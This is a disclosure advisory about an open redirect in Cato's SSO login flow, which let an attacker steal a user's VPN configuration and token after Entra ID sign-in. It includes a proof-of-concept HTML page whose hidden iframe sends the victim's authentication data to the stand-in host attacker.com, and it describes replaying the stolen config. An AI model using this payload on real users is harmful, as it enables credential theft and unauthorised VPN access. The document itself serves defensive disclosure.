Cato SSO - Open Redirect Leading to Config Theft

Summary

The web service used during the Cato SSO authentication flow was found to contain an Open Redirect issue, which could allow a remote attacker to construct a malicious login flow that could enable them to steal the resulting configuration file.

Impact

This issue could be exploited by a remote attacker hosting a malicious website, which exploits the Open Redirect issue to divert the authentication flow back to a website under their control.

If the user was to visit this malicious website whilst logged in to Microsoft Entra ID, the attacker could seamlessly steal the Cato configuration file. This configuration file contains the settings and authentication data required for the attacker to subsequently connect to the VPN from an unauthorised device.

Affected Versions

Cato SSO Web Service: sso.ias.catonetworks.com (now fixed)

Description

The Cato Client can be configured to perform authentication using Entra ID as an Identity Provider for Single Sign On. When configured in this way, the client authenticates either using the internal browser (an embedded Chromium browser), or an external browser (the user’s default browser).

Login Flow

When a user clicks the Connect (power icon) button, the Client starts a web server, listening on localhost. This typically listens on TCP port 49152, however the port number could be incremented if the default port is already in use.

Next, the user’s default browser is launched and directed to the Cato SSO URL shown below:

https://sso.ias.catonetworks.com/login/email?redirect_uri=http%3a%2f%2flocalhost%3a49154%2fresult&ie_limit=true&client_browser=external

Cato SSO Portal

The Cato SSO portal initiates the SSO login flow with the IDP (Entra in this case). The URL contains a redirect_uri parameter, which specifies the address of the web server running on localhost. This is used later to pass the authentication data back to the client application.

The user is then prompted to enter their email address in the Cato SSO page, which is sent using a GET request to the /email2ws endpoint, as shown in the screenshot below:

Initial Request

The server responds to the email2ws request with a 302 redirect to:

https://sso.ias.catonetworks.com/login?redirect_uri=http%3a%2f%2flocalhost%3a49154%2fresult&ws=<client>&method=oauth2&provider=azure&uuid=<uuid>&interactive=true&user_id=<email>

Note that the redirect_uri sent in the original email2ws request is retained in the response Location header. If we attempt to modify this with an arbitrary URL, e.g. example.com, this is also reflected in the redirect:

Modified Request

When the redirect from the email2ws response is followed, another redirect is returned by the server:

Second Redirect

This redirects to the Microsoft OAuth2 endpoint as per the following example response URL:

https://login.microsoftonline.com/<tenant_id>/oauth2/v2.0/authorize?client_id=<client_id>&response_type=code&response_mode=query&redirect_uri=https%3a%2f%2fsso.ias.catonetworks.com%2fauth_results&scope=openid+email+profile+offline_access&prompt=select_account&state=<state>&nonce=<nonce>&include_granted_scopes=true&access_type=offline

This URL contains another redirect_uri, except this time the redirect is specified as the Cato SSO portal (sso.ias.catonetworks.com). This means that once authentication is completed with Microsoft, the authentication response will be forwarded back to the host specified in the redirect_uri, i.e. the Cato SSO web service.

Attempting to modify the redirect_uri in the Microsoft /oauth2/v2.0/authorize request, results in an error due to the URI not matching the pre-configured allow-list for the Cato application. Further tests were carried out to validate that the Redirect URL was suitably restricted to the https://sso.ias.catonetworks.com/auth_results URI:

Error Returned

Going back to the original email2ws and login requests on the Cato SSO portal, we know that the application originally sends the localhost URL in the redirect_uri parameter. However, rather than pass this value directly in the redirect_uri parameter to Microsoft, the Cato application appears to store this in the state parameter (which is supported by the OAuth2 protocol), either as an encrypted value directly within the state, or as a reference that can used by the server to retrieve the original redirect_uri upon redirect back to the Cato SSO Portal.

Following successful authentication with Microsoft, the flow then redirects the browser back to the Cato SSO Portal, which retrieves the original redirect_uri (presumably from the state), and performs a final redirect back to the web server running on localhost - allowing the Cato Client application to receive the necessary configuration and authentication data to connect to the VPN.

Redirect Issue

The core of this issue stems from the fact that when supplying the redirect_uri in the original email2ws and login requests to the Cato SSO portal, no checks are carried out to ensure that the Redirect URI is only ever set to localhost. This was likely intended since the port number can vary from 49152 upwards, however the host should always remain the same.

What this means is that an attacker could construct a malicious page which embeds a hidden iframe element that forces the user’s browser to complete seamless SSO authentication, specifying an arbitrary redirect_uri in the initial email2ws request. This would cause the server to save the attacker’s redirect_uri in the state so that when authentication is completed with Microsoft, the user’s browser is then redirected back to a server under the attacker’s control, providing them with the authentication data instead of the localhost web server.

An example of a malicious HTML page which exploits this issue is given below:

<html>
<body>
    <div id="frame"></div>
    <script>
    let elem = document.createElement('iframe');
    elem.src = "https://sso.ias.catonetworks.com/[email protected]&redirect_uri=https://attacker.com/pop.html"
    document.getElementById('frame').appendChild(elem);
    </script>
</body>
</html>

If a user was to visit a website hosting the above HTML, this would trigger the SSO flow, causing the authentication data to be sent back to: https://attacker.com/pop.html.

The authentication data is normally sent to the localhost web server in a GET request, in a parameter named status. The screenshot below shows a successful exploitation attempt, where the authentication data has been sent back to the attacker and is visible in the web logs:

Successful Capture

The data sent in the status parameter contains a full config, which includes the token required to connect to the VPN.

Decoded Config

This can be replayed back to the client running on the attacker’s machine, simply by starting the authentication process using the “external browser” feature, and replaying the config received in the status parameter back to the localhost web server running on the attacker’s machine.

Replaying Authentication on Attacker Machine

Mitigation Steps

This issue was fixed server-side by Cato.

You May Also Like